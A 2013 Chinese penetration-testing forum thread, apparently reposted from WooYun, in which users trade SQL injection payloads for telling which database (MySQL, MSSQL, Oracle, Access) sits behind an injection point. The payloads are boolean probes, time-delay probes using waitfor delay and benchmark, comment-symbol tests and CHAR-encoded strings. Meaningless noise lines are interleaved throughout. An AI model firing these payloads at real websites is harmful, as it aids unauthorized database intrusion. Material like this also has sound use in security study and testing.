中国网络渗透测试联盟
标题:
一个注射点如何最快速确认是什么类型数据库
[打印本页]
作者:
admin
时间:
2013-2-11 09:54
标题:
一个注射点如何最快速确认是什么类型数据库
一个注射点如何最快速确认是什么类型数据库
+ M7 Y2 v# p7 J
xsser (十根阳具有长短!!) | 2013-02-05 12:36
: x% s( y; j5 Y- p0 I
假设这么一个注射点:
0 T/ ^8 c2 c. x! }
show.html?id=2
; t, i, |. I7 q
mysql:id=2 and version()>0
) c( k& _4 V0 ]1 L' m1 _
oracle:id=2 and '1'||'1'='11
0 w; o' ?6 e* W# e7 z% C) g- X
其他的欢迎补充
/ H2 Z4 s g& k2 v; l
1#
% ?' h8 _. m0 L% K; c7 P
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 12:47
1 K" n' f# u4 p; d
Access:
) O0 e# H7 N& o* @6 z0 i4 o
aNd aSc(cHr(97))=97
$ G9 w: y( L! B; M
and exists(select id from MSysAccessObjects)
5 |3 u$ o+ c* D x# {4 I) ]
SQL Server:
3 |4 Y7 H1 Y% n& F: ?# F
and exists(select id from sysobjects)
3 a) J1 l: {7 ^$ ?
and length(user)>0
7 z" s; Q$ x+ |2 z* z( q2 [) h, P
MySQL:
3 F: w2 {+ }# H8 g
and length(user())>0
, P8 x3 c9 n, {7 ~
2#
+ g9 r2 x+ C( k! y- h
xsser (十根阳具有长短!!) | 2013-02-05 12:48
# C) k5 h$ `0 A4 P4 ~
@upload 如果这些都不是呢…
8 k- p& C, C9 c( [8 @# f) o
3#
) V4 M V1 r. q5 F
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:03
3 Q8 z4 ]; ~$ I4 v2 _3 I- K
@xsser 不快速的,延时注入
Q+ T, f! I) B
不知道这样写对不对
' U( j; Q5 `* F7 @* i2 h; k
mssql:id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3'
3 m9 i+ D5 m$ T
mysql:id=2 and select benchmark(1e8,current_date());
6 E: y2 i9 g7 R- F7 J, n
4#
1 A- d0 L8 Z/ j7 f
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:10
! N `: d5 d4 A, u& g9 B5 ~
最快的貌似是看报错信息
# @! ^) I" c& e- W8 y% c8 ^' X
oracle error
, G: R6 D5 G; a f8 g6 v' L, h6 Y9 j
mssql error
, T5 f1 o$ {0 U& V- o, \
mysql error
3 [! w2 o' n! z |1 T3 E8 s
5#
! K: c3 q1 c" v$ L
Nimda (你们都是坏银~) | 2013-02-05 13:14
0 R/ T* W. W' P9 h8 s3 ?" a- g( F
小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual)
* N. h N4 \1 c
6#
8 l7 |4 Y$ i$ q+ l
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:21
( S( t$ t8 W, n( P d2 p9 g
“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:
* ?& o/ z. g+ N" {5 e6 J
“–”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:
* x7 T- H7 k, S( x: D
“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。
+ v& J7 G0 l. u
7#
. r3 r& ]& q1 J
_Evil (HackEnd) | 2013-02-05 13:33
8 w5 M9 [0 |9 W
PostgreSQL
# t0 [: [. P) O& F( O; b
8#
% {% Q- T! I; V/ F) ~% ~8 B5 }/ t
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:42
( A3 _1 K& f ]6 C% D0 m, _8 i% p
切换编码 and 1=1
9 F& W6 B2 ?) T M2 \ w. ]
oracle:
' S- y; k4 g w/ X
CHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)
) H: ]8 F# M' \' u4 I
mssql:
! R2 p! C# R& m q
CHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49)
# {2 K6 [, r2 q0 ^2 `, a( O$ h
mysql:
5 y" K5 @# m$ ]* k9 |6 O
CHAR(97, 110, 100, 32, 49, 61, 49)
8 K( F" @ M/ O5 y$ E9 v8 ?
9#
) o$ ^- r, X2 j* Q+ J1 W3 b* w. w: V
xsser (十根阳具有长短!!) | 2013-02-05 14:31
9 V# P8 O D& S
@upload 比较常见的数据库这些还是可以判断的,但是还有其他奇葩类型的呢?
# ]3 i; |3 s" h9 r3 I
10#
3 u x1 ?) ]/ ]. k8 z- I
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 14:46
2 x8 s3 u8 y3 f) B9 o$ A% l
@xsser 是奇葩数据库类型的么?
7 C% `% G. g7 [5 l$ z
根据注入的原理,我们可以猜想,要成功的注入,必须使得注入后的一片和谐,那么使用该类数据库特性来判断,综上所述:
- S5 {6 i$ n/ W# z5 `) d7 N* ~
1.是否可以使用特定的函数来判断,该数据库特有的
; g' `( c5 F& ]" J: E% v
2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等
( f, Q; R8 i" o8 }0 z
3.是否可以编码查询
+ g E1 @3 E6 D' v* C- x$ L& C% B* ]
4.是否显可以利用错信息
* S7 ?9 M7 m+ f9 a
5.是否存在数据库某些特性辅助判断
% C& x8 ?' n/ @* z# p5 T& H
个人见解
/ D! _) |7 ^% z( R: u% |/ Q$ n/ z
11#
9 X% T& S4 p; F2 z
小胖子 (z7y壮士,来,干了这碗酒!) | 2013-02-05 14:55
& B4 a& P& B; O8 a5 n" Q0 X
已收藏,mssql可以直接看到错误提示的吧~
* R( @ v; g. y" W: ?8 `! f! |. ~
12#
) o! l/ @2 V! @/ F% B/ ^0 \. F
Passer_by | 2013-02-05 15:09
; K) R& I- n; d. H6 d) H
曾被 @GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。
% P, `0 g" A/ c9 u( Q8 a" w4 e
from:
http://zone.wooyun.org/content/260
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2